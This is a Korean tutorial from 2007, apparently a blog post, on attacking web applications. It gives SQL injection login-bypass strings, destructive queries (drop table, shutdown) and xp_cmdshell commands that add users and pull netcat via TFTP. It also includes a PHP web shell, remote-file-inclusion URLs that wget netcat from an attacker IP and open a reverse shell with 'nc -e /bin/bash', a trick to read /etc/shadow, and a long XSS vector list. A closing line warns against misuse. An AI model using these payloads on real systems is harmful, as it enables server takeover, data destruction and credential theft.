1/14/2007

[Linux] Web Hacking (Linux Server Security)

1. Web Application Vulnerability


- 최초의 웹 페이지는 정적(static)이었다. 즉, 모든 사람들이 누군가에 의해 만들어진 똑 같은 페이지만을 볼 수가 있었다. 대표적인 웹 언어로 분량이 많지 않고 부담이 적은 HTML이 있다. HTML(Hyper Text Markup Language)은 단순하고 직설적이며 어려운 개념이 거의 포함되어 있지 않다.

- 현재의 웹 페이지들은 상호작용을 하며 동적 데이터를 갱신하고 복잡한 그래픽 화면에 필요한 동작들을 한다. 대표적인 예로 JSP, ASP, PHP등이 있다. 이러한 웹 페이지를 동적(dynamic) 웹 페이지라고 한다. 동적 웹 페이지는 사용자가 입력한 값에 따라서 서버에서 사용자에게 보여주는 페이지가 달라진다.

- OWASP(Open Web Application Security Project) http://www.owasp.org


2. SQL Injection

2.1 General SQL Injection

- SQL injection 은 웹 페이지를 통해서 입력하는 것처럼 SQL query/command를 삽입하기 위한 트릭이다.

- 기본적인 로그인 페이지에서 아이디와 패스워드를 입력하는 부분은 다음과 같다.

<form method=POST name=login action=login_ok.asp>
<input type=text name=id>
<input type=text name=pass>
</form>

- 우리가 입력하는 아이디와 비밀번호 값은 각각 id과 pass에 입력되어 login_ok.asp로 넘겨져 처리된다.

- login_ok.asp에는 우리가 입력한 값을 데이터베이스에서 비교하여 정상적인 사용자인지 확인을 하게 된다. 이 때 login_ok.asp 파일 내에 있는 SQL 구문의 기본적인 형태는 다음과 같다.

SELECT name FROM user WHERE id=’$id’ AND pass=’$pass’;

- 여기서 $id와 $pass는 우리가 입력한 아이디와 비밀번호 값이 들어가게 된다. 아이디에 test 비밀번호에 1234를 입력하면 다음과 같은 식이 성립하게 된다.

SELECT name FROM user WHERE id=’test’ AND pass=’1234’;

- 만약 아이디와 비밀번호 입력란에 정상적인 문자열이 아닌 특수문자가 들어간 문자열을 입력하면 전혀 다른 결과가 나오게 된다. 예를 들어 아이디 입력란에 ’(외따옴표) 만 입력하였을 경우login_ok.asp에서는 다음식을 가지고 결과를 처리하게 된다.

SELECT name FROM user WHERE id=’’’ AND pass=’’;

- 분명 에러가 발생한다. 먼저 외따옴표의 개수가 짝을 이루지 못하여 SQL 구문이 엉키게 된다. 사이트에 따라서 에러 구문을 보여주기도 하고 혹은 미리 지정된 에러 페이지가 보일 수도 있다. 현재 대부분의 사이트들은 자바스크립트를 같이 쓰기 때문에 비밀번호 부분에 값이 입력되지 않았으니 입력하라고 나온다.

- 이번에는 위의 SQL 구문에 아이디와 비밀번호 입력란에 다음과 같은 문자를 입력해보자.

$id = ‘ or 1=1 --
$pass = 1111 (아무런 값이나 상관없음)

- 위의 값을 입력하게 되면 다음과 같이 SQL 구문이 완성이 된다.

SELECT name FROM user WHERE id=’’ or 1=1 --’ AND pass=’1111’;

- SQL 구문은 참이 되므로 구문의 결과값인 user 테이블에서 일치하는 사용자의 이름(name)을 반환하게 된다. 만약 SQL 구문이 사용자 로그인에 관련된 구문이라면 정상적인 사용자로 로그인이 가능하게 된다. $id = admin’ or 1=1 -- 이라고 입력하게 되면 현재 데이터베이스에 admin이라는 사용자가 있다면 admin 사용자로 로그인이 되게 된다. -- 는 MS-SQL에서 사용되는 주석처리 구문이다. 따라서 위의 구문은 -- 이후의 구문은 무시되고 1=1 이라는 식의 참과 id=’’ 의 거짓이 or 연산을 하여 참이 되므로 정상적으로 로그인이 가능한 것이다. 그리고 종종 -- 는 #으로 대체할 수가 있다. 현재 다수의 웹 서버 응용프로그램들은 클라이언트에 의해서 입력된 값을 검사하지 않고 SQL을 구문을 수행하기 때문에 이와 같은 취약점이 존재하게 된다. (Input Validation)

- SQL 구문에서 -- 을 주석으로 처리하지 않을 때의 상황을 생각해보자. 이런 경우에는 아이디 입력란과 비밀번호 입력란에 모두 SQL 구문을 혼돈시키는 문자열을 입력해야 한다. 다음과 같이 입력해 보자.

$id = ‘ or ‘1’=’1
$pass = ‘ or ‘1’=’1

SELECT name FROM user WHERE id=’’ or ‘1’=’1’ AND pass=’’ or ‘1’=’1’;

- 위와 마찬가지로 이번에도 참이 된다. ‘1’=’1’이라는 식이 참이 되고 or 연산을 하기 때문에 결과적으로 참이 되는 것이다.

- 첫번째 주석처리 구문을 삽입하는 방법은 주로 ASP와 MS-SQL되어 있는 사이트에서 많이 사용되고 두번째 방법은 PHP로 되어 있는 사이트에서 많이 사용되고 ASP와 MS-SQL로 되어 있는 사이트에서도 사용된다.

- 다음은 위의 두 가지 방법 이외에 우리가 입력해 볼 수 있는 다른 방법들이다.

“ or 1=1 --
or 1=1 --
‘” or “1”=”1
‘) or (‘1’=’1

- 이번에는 약간 다른 상황을 생각해보자. 아이디와 비밀번호 입력란에 특수문자를 쓸 수 없도록 되어 있을 경우 HTML 폼에 입력하지 않고 URL을 우리가 원하는 값으로 완성시켜 서버에게 전송하게 할 수 있다. URL encoding을 이용하여 특수문자들을 URL 형태에 맞게 변환하여 보낼 수 있다.

- 다음은 예제에서 사용될 login.cgi 파일 중 아이디와 비밀번호를 검사하는 부분이다.

URL = HTTP.GetFromUser()
user_id = URL.parameter(“user_id”)
password = URL.parameter(“password”)
query = “SELECT name FROM userlist WHERE uid=’” + user_id + “’ AND pwd=’” + password + “’;”
database.connect()
result = database.execute(query)
if result
HTTP.Send(“Login successful. Welcome, ” + result)
IsAuthenticated = true
else
HTTP.Send(“User ID or password is incorrect.”)
IsAuthenticated = false
end if
if IsAuthenticated
HTTP.Send(MainMenu)
end if

- 이 파일에게 다음과 같은 URL을 보낼 때는 다음과 같이 보낼 수 있다.

https://website/login.cgi?user_id=dcooper&password=’%20OR%20’’%3d’

- 웹 브라우저 위와 같이 입력하게 되면 login.cgi라는 파일에게 id=dcooper과 password=’%20OR%20’’%3d’ 라는 값을 전달하게 된다. 이 URL이 서버에게 전달되게 되면 서버는 SQL 쿼리문에서 다음과 같이 처리를 한다.

SELECT name FROM userlist WHERE uid=’dcooper’ AND pwd=’’ OR ‘’=’’;

- 이 쿼리문은 userlist 테이블에서 사용자가 dcooper인 레코드에서 name 값을 가져와서 반환하게 된다. 이렇게 URL을 이용하여 입력되어서는 안되는 문자들을 서버에게 전송할 수도 있다.

- 위와 유사하게 사용될 수 있는 URL들을 몇 개 더 보면

https://website/login.cgi?user_id=dcooper&password=foo%20OR%201%3d1
SELECT name FROM userlist WHERE uid=dcooper AND pwd=foo OR 1=1;

https://website/login.cgi?user_id=’%20OR%20’’%3d’&password=’%20OR%20’’%3d’
SELECT name FROM userlist WHERE uid=’’ OR ‘’=‘’ AND pwd=’’ OR ‘’=‘’;

https://website/login.cgi?user_id=%25’;--
SELECT name FROM userlist WHERE uid=’%’;--’ AND pwd=’’;

%20은 공백을 뜻하고 %3d는 = 을 뜻한다.
%25는 %를 뜻한다.


2.2 Reverse-Engineering

- 로그인 페이지에서 아이디와 비밀번호 입력시 8글자 이상을 입력하지 못하도록 코드를 작성할 수가 있다. 이러한 경우 우리가 이전에 사용했던 ‘ or ‘1’=’1이나 ‘ or 1=1 -- 의 방법은 8글자를 넘어가므로 공격이 불가능하다. 하지만 완전히 불가능한 것은 아니다. HTML 태그는 웹 페이지 소스보기를 하면 보이므로 이를 수정하여 8글자 이상을 입력하는 것이 가능하다.

- 다음은 입력 폼에 최대 8글자만 입력이 가능하도록 하게 하는 HTML 폼이다.

<form method=post name=loginform action=loginok.asp>
...
<input type=”text” name=”userid” size=8 maxlength=8 class=”input_basic”>
<input type=”passwd” name=”userpass” size=8 maxlength=8 class=”input_basic”>

- 위와 같이 8글자 이상은 입력이 안된다. maxlength가 8이기 때문에 사용자가 입력할 때 8글자가 최고이다. 우리는 이 maxlength 부분은 충분히 늘려준 다음 자신의 컴퓨터에 저장을 한다. 로컬 컴퓨터로 저장하는 이유는 우리가 서버의 내용을 직접 수정하지 못하기 때문이다. 그리고 한가지 더 수정해야 하는 부분은 action 부분이다. 이 input 태그의 값을 전달해주는 파일이 action에 지정된 파일이다. action 부분은 form 태그에 속한 값으로서 form 태그는 input 태그보다 먼저 나온다.

- 개발자마다 다르겠지만 보통 action에 지정된 파일은 상대경로를 쓴다. 이 파일을 로컬 컴퓨터에 저장을 하게되면 action에 지정된 파일은 상대경로가 아닌 URL을 포함한 절대경로를 써주어야만 우리가 입력한 값을 정상적으로 전달할 수 있다.

- 위의 form태그와 input 태그는 다음과 같이 수정하여 로컬 컴퓨터에 login.html로 저장을 하자.

<form method=post name=loginform action=http://www.domain.com/loginok.asp>
...
<input type=”text” name=”userid” size=20 maxlength=20 class=”input_basic”>
<input type=”passwd” name=”userpass” size=20 maxlength=20 class=”input_basic”>

- 이렇게 해서 우리가 원하는 문자열을 입력할 수가 있다. 만약 위처럼 ‘ or 1=1 -- 로 입력을 한 이유는 이 사이트가 ASP로 되어 있기 때문이고 이 방법이 안될 경우 ‘ or ‘1’=’1로 입력을 해보아도 된다. 이 방법은 리버스 엔지니어링 중 가장 간단한 방법이다.

- ‘ 을 입력하였을 경우 화면에 보여지는 에러 메시지를 보고 공격을 하는 리버스 엔지니어링은 다음가 같다.

- 먼저 아이디와 비밀번호 입력란에 위에서 배웠던 방법을 사용하여도 되고 혹은 외따옴표(‘)만 입력해보아도 된다. 리버스 엔지니어링의 핵심은 정상적이지 않은 입력을 통해 화면에 보여지는 에러 메시지를 보고 정상적인 것처럼 보이는 입력을 찾아내는 것이다. 따라서 이 방법은 여러 번의 시행착오를 거쳐야 하는 상황이 발생할 수 있고 모든 방법을 모두 적용시켜도 공격이 이루어지지 않을 수도 있다.

- ‘ or 1=1 -- 와 1111을 입력했을 때 나타나는 에러 메시지에서 유심히 보아야 할 부분은 다음과 같다.

'id = '' or 1=1 --' and pwd = '1111''

- 이 부분에서 에러가 발생하였다고 나와있다. 이 문장에서 우리가 입력했던 문장을 변수로 대치시키면 SQL 쿼리문을 도출해낼 수가 있다. 쿼리문은 다음과 같다.

SELECT user FROM userlist WHERE ‘id=’$id’ and pwd=’$pass’’

- 지금까지 보았던 구문과 약간 다른 점이 있다 조건이 들어가는 부분을 ‘ ‘ 로 한번 더 묶었다는 것을 알 수가 있다. 그리고 에러 메시지에서 보면 외따옴표의 개수가 짝이 맞지가 않다. 이것은 우리가 입력하는 문자열에 외따옴표가 하나 더 들어가거나 덜 들어가게 해서 짝을 맞추어 주어야 한다는 것을 의미한다. 그리고 에러 메시지에서 -- 이 주석처리가 되지 않고 있음을 알 수가 있다. 따라서 ‘ or 1=1 -- 방법은 공격이 되지 않을 것이라는 것을 추측할 수가 있다.

- ex)

select userName from users where userName='' or users.userName like 'a%' --' and userPass=''
Username: ' or 1=1; drop table users; --
Password: [Anything]
Username: '; shutdown with nowait; --
Password: [Anything]
select userName from users where userName=''; exec master..xp_cmdshell 'iisreset'; --' and userPass=''

- admin 계정으로 들어가기 위해서 [ table명.field명 like ‘a%’ -- ] 을 입력하는 방법도 있다.
그 외에 테이블 삭제, DB 종료, 시스템 명령 실행등의 동작이 가능하기도 하다.


2.3 MS MSQL Stored Procedures

- MS SQL 서버에는 SQL서버 관리의 편의를 위해 설치된 몇몇 프로시저 들이 있는데 특히 xp_cmdshell은 관리자 권한으로 명령이 실행되므로 사용자 추가 등의 시스템 명령이 실행 가능한 프로시저이다.
만약 의견을 적을 수 있는 게시판을 이용해서 다음과 같이 입력할 수 있다.

‘ exec master..xp_cmdshell ‘net user newusername newuserpassword /ADD’--

- 이 입력이 들어가는 쿼리문은 다음과 같다.

SELECT * from MyTable WHERE someText=’’ exec master..xp_cmdshell ‘net user newusername newuserpassword /ADD’--‘

- 이는 URL을 이용해서도 가능하다. 위의 명령어는 xp_cmdshell 명령어를 이용하여 NT/2000 윈도우의 cmd.exe를 웹 서버 루트로 복사를 하는 내용이다.

http://10.10.10.10/showtable.asp?ID=3;%20EXEC+master..xp_cmdshell+ ‘copy+\winnt\system32\cmd.exe+\inetpub\scripts’

- MS SQL의 이 취약점을 이용하여 공격하는 하나의 시나리오를 만들어 보면


- 위와 같이 IIS 5.0에 MS-SQL을 탑재하고 있는 Windows 2000 Server가 공격 대상이다.
이 공격에서 우리는 웹 브라우저만을 가지고 서버의 관리자 권한을 획득할 것이다. 위에 보이는 URL이 우리가 사용할 URL 중에서 공통적인 부분이다.

- 먼저 공격대상에서 netcat이라는 통신프로그램을 전송할 것이다. netcat을 전송하기 위해서 서버에서 TFTP를 실행시켜 공격자가 인증 없이 서버에 파일을 보낼 수 있게 한다.
netcat이 위치할 곳은 C:\ 이고 netcat의 업로드가 완료되면 cmd.exe 파일을 IIS의 DocumentRoot에 복사한다.

- 그리고 netcat을 이용하여 특정 포트를 연 다음 공격자는 netcat을 이용하여 접속하게 되면 command 제어권을 얻을 수 있다. 이 때 방화벽에 의해 특정 포트 이외에 모두 막혀 있을 경우 공격자가 netcat을 listen 상태로 두고 공격대상에 공격자에게 연결을 하게 만들면 된다.

http://10.10.10.10/test.asp?id=3;%20EXEC master..xp_cmdshell ‘tftp –i
192.168.0.8 GET nc.exe C:\nc.exe
http://10.10.10.10/test.asp?id=3;%20EXEC master..xp_cmdshell ‘copy
\winnt\system32\cmd.exe /inetpub/scripts’
http://10.10.10.10/test.asp?id=3;%20EXEC master..xp_cmdshell ‘c:\nc.exe
–l –p 6666 –e cmd.exe
Hacker # nc 10.10.10.10 6666

- 마지막으로 maxlength가 아닌 자바 스크립트로 문자열을 체크하는 경우가 있다. 이런 경우 두 가지로 부류할 수 있는데 하나는 서버 측에서 문자열을 체크하는 것이고 다른 하나는 클라이언트 측에서 문자열을 체크하는 것이다. 클라이언트 측에서 문자열을 검사하게 되면 공격자가 문자열 검사 스크립트를 제외시킬 수 있고 그렇게 되면 결과적으로 문자열을 검사하지 않고 sql injection 공격을 할 수 있게 되는 것이다. 다음은 HTML 코드 안에 속해있는 로그인 스크립트 부분이다.

function login()
{
var form = document.login;
if (form.mem_id.value == "")
{
alert("ID를 입력해 주십시오");
form.mem_id.focus();
return ;
}
if (form.mem_pwd.value == "")
{
alert("비밀번호를 입력해 주십시요");
form.mem_pwd.focus();
return ;
}
var id_check = "";
var temp6 = "";
id_check = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; // 문자열 체크를 위한 문자열 나열
if ( form.mem_id.value ) { // 문자열 체크를 위한 코드
for ( var i = 0 ; i < form.mem_id.value.length ; i++ ) {
temp6 = form.mem_id.value.substring(i, i+1);
if ( id_check.indexOf(temp6) == -1 )
{
alert("아이디에는 숫자와 영문자 이외에는 \n\n사용하실 수 없습니다.");
form.mem_id.value = "";
form.mem_id.focus();
return;
}
}
}
form.submit();
}

- 여기에서

var id_check = "";
var temp6 = "";
id_check = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; // 문자열 체크를 위한 문자열 나열
if ( form.mem_id.value ) { // 문자열 체크를 위한 코드
for ( var i = 0 ; i < form.mem_id.value.length ; i++ ) {
temp6 = form.mem_id.value.substring(i, i+1);
if ( id_check.indexOf(temp6) == -1 )
{
alert("아이디에는 숫자와 영문자 이외에는 \n\n사용하실 수 없습니다.");
form.mem_id.value = "";
form.mem_id.focus();
return;
}
}
}

- 부분이 문자열을 검사하는 부분이다. 아이디와 비밀번호의 입력값 검사를 할 때 지정된 문자열이 아니면 잘못된 문자열이라고 경고를 알리게 된다. 이 부분을 삭제하게 되면 문자열 검사를 하지 않고 공격자가 입력하는 값을 그대로 받아들이게 된다.

- 위 부분을 삭제하고 마찬가지로 로컬 컴퓨터로 저장해서 실해하게 되면 문자열을 검사하지 않게 된다.
물론 이 때 form 태그에 action 부분은 절대경로를 넣어주어야지만 정상적으로 값을 전달할 수 있다.


3. File Injection

- 내부 명령어를 실행하는 코드가 있는 파일을 생성하고 공격하고자 하는 홈페이지의 자료실 등에 파일을 업로드한 후 업로드한 파일의 절대경로를 찾아내어 파일을 실행시킨다. (.php .php3 .inc .asp .pl .cgi)

- 다음은 WEB 상에서 쉘과 같은 기능을 할 수 있는 PHP 코드이다.

<?
$command=str_replace("\\","",$command);
$result=`$command`; $info = ereg_replace("\n","","[".`whoami`."@".`pwd`."]");
echo "<hr><form action=$PHP_SELF method=post>
$info <input type=text name=command value='$command' size=40>
<input type=submit value='go'></form><hr>\n
<xmp>\n$result\n</xmp><hr>";
?>


4. Query를 이용한 내부명령어 실행

- 대부분의 컴퓨터용 언어에는 시스템내의 운영체제상의 명령어를 손쉽게 실행시킬 수 있는 함수를 제공한다. Server Side Include와 같은 언어도 마찬가지이다.
이중 PHP에서는 passthru, system 혹은 php파일을 곧장 불러 실행할 수 있는 fpassthru 함수가 제공된다.

- 만약 아래와 같은 구문이 있다면 어떤 일이 벌어질까?

<? passthru(date); ?>

- 해당 페이지를 브라우저로 열어보면 유닉스의 date 명령에 대한 실행결과가 나타남을 확인할 수 있다.

- ex)

1. 먼저 웹 서버가 실행되어 있는지 확인 한다.

# ps –ef | grep http

2. 웹 서버가 실행되어 있지 않으면 웹 서버 데몬을 실행시킨다.

# /etc/rc.d/init.d/httpd start

3. head 명령을 실행하는 test.php 파일을 생성한다.

# cd /var/www/html
# vi test.php
<html>
<body>
<h1>TEST2 PAGE</h1>
<? passthru(‘head /etc/shadow’); ?>
</body></html>
# chmod 4755 /usr/bin/head

4. 브라우저를 열어 결과 페이지를 확인해 본다.

http://your_ip/test.php

5. 브라우저를 통해 현재 접속되어 있는 사용자의 아이디가 무엇인지 확인해 본다.
(passthru 함수부분 수정)


5. Reverse Telnet



- 공격자에 의해 원격지에서 파일의 명령이 실행되는 가장 큰 이유는 개발자들의 편의만을 생각한 개발에 있다. 개발 당시 좀 더 빨리 좀 더 편하게 하기 위해 보안상 문제가 되는 부분을 소홀히 지나갔기 때문에 이런 공격이 이루어지게 되는 것이다.

- 예를 들어 PHP 코드 중에 다음과 같은 구문이 있다면 원격지에서 파일의 명령 실행이 가능하다.

<? include $file; ?>
<? passthru($cmd); ?>

- 첫 번째의 경우 우리가 흔히 볼 수 있는 코드이고 두 번째 코드는 흔히 볼 수 없는 코드이다. passthru의 경우 흔히 볼 수는 없지만 공격자가 임의적으로 이런 파일을 만들어 게시판 같은 곳에 업로드를 하게 되면 $cmd에 의해서 공격자가 원하는 명령을 실행하고 그에 대한 결과를 받아 볼 수 있다.

- 공격이 가능한 하나의 시나리오를 보면

- 먼저 공격대상의 게시판 소스코드를 획득한 후 코드를 분석하던 중 include $file 이라는 부분을 찾아냈다. 이 코드가 포함되어 있는 파일이 login.php 라고 하고 공격자는 test.php라는 파일을 아래와 같이 만든다.

# vi test.php
<? passthru($cmd); ?>

- 그리고 웹 브라우저에서 다음과 같은 URL을 입력한다.

http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=ls -al

- 이렇게 해서 화면에 유닉스 명령인 ls -al의 결과가 보인다면 이 서버는 원격지 파일의 명령 실행 공격에 대해 취약하다는 것을 알 수 있다.

- 원하는 명령에 대한 결과를 보고자 하는 경우 매번 브라우저에 입력을 해야 한다. 그렇게 되면 번거럽기도 하겠지만 웹 서버의 access_log에 우리가 입력했던 URL이 모두 남게 된다.

- 그래서 이번에는 netcat 이라는 프로그램을 이용하여 공격대상의 터미널을 리버스로 공격자에게 열어주는 방법을 사용해보면 (공격대상과 공격자 모두 리눅스 시스템을 사용하고 있다고 가정)

[terminal]
# nc -l -p 8888

[web browser]
1. http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=cd /tmp
2. http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=wget http://61.240.10.9/nc
3. http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=chmod 777 /tmp/nc
4. http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=/tmp/nc -e /bin/bash 61.240.10.9 8888

- netcat이 정상적으로 실행되었다면 공격자의 터미널 창에 연결이 되었음을 나타내는 메시지가 보일 것이다. 그런데 만약 공격대상 서버에 wget 이라는 프로그램이 없다면 위와 같은 공격은 되지 않을 것이다. 이 경우 ftp를 이용하여 공격대상 서버가 공격자의 서버에 접속하여 netcat을 다운로드 하도록 할 수가 있다. ftp에 대한 명령어들이 들어 있는 파일을 생성해서 공격대상의 서버에서 실행하면 받을 수 있다.

[공격자]
# cat > ftpdown.txt
open 61.240.10.9 // nc를 다운 받을 ftp 사이트 주소
user hacker hacker // id & password
bin // 바이너리 모드로 전환
get nc //nc 다운로드
quit // 접속종료
^D

# nc -l -p 8888

[공격대상]
# ftp -n < ftpdown.txt // ftpdown.txt에 있는 내용을 한 라인씩 읽어서 ftp 실행

- 그러나 이 경우 ftpdown.txt라는 파일을 공격대상 서버에 업로드 하는 일도 힘들 경우 웹 브라우저를 통해 위의 과정을 모두 처리할 수 있다.

http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=cd /tmp
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo open 61.240.10.9 > /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo user hacker hacker >> /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo bin >> /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo get nc >> /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo quit >> /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=cd /tmp; ftp -n < /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=chmod 777 /tmp/nc; /tmp/nc -e /bin/bash 61.240.10.9 8888

- ftp라는 명령은 대부분의 서버에서 실행이 가능하므로 위의 공격은 성공적으로 이루어지지만 웹 서버의 access_log나 error_log에 로그가 많이 남기 때문에 위험이 따른다.


6. Cross-Site Scripting(XSS)



- XSS라고 불리우는 Cross Site Scripting은 공격 대상을 서버에서 개인 사용자로 만드는데 가장 큰 역할을 하였다. 웹 서버는 단지 중간 매개체 역할을 할 뿐이다.

- 공격자들은 웹 어플리케이션을 이용하여 다른 사용자에게 자바 스크립트 같은 악성 코드를 보내고 공격 대상자가 이 코드를 읽었을 때 이 사용자의 정보를 공격자에게 보내지게 된다.

- 공격자는 공격대상자에게 악성코드가 담긴 이메일을 보내거나 특정 사이트의 게시판에 악성코드를 추가하여 게시물을 작성하여 다른 사용자들이 글을 읽기만 하여도 코드가 실행되게 하기도 한다. 심지어는 공격자가 직접 사이트를 구축하기도 한다.

- 이런 공격이 공격자의 의도대로 이루어지게 되면 사용자들의 계정 정보를 하이재킹하여 사용자 정보를 수정하거나 쿠키를 조작하여 개인정보를 수정하기도 한다. 또는 이 공격을 통해 획득된 다른 사용자의 계정을 도용하여 스팸메일을 보내기도 한다. 이런 공격이 이루어지게 하는 코드들로는 JavaScript, VBScript, ActiveX, Flash등이 있다.

- 웹 브라우저에 다음과 같이 입력해 보면.

javascript:document.cookie;

- 아이디와 패스워드 뿐만 아니라 쿠키 정보를 가지고 인증을 하기 때문에 쿠키가 악의적인 사용자의 손에 들어가게 된다면 그 악의적인 사용자는 다른 사용자인 것처럼 접속이 가능해진다.

- XSS 코드는 다음과 같이 사용할 수 있다.

<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]">
<input type="image" dynsrc="javascript:[code]">
<bgsound src="javascript:[code]">
&<script>[code]</script>
&{[code]};
<img src=&{[code]};>
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]">
<img src="mocha:[code]">
<img src="livescript:[code]">
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression([code]);">
<style type="text/javascript">[code]</style>
<object classid="clsid:..." codebase="javascript:[code]">
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script>

[경고 : 보안 심각성을 보이기위해 작성된 문서임. 절대 악용하지 말 것!!]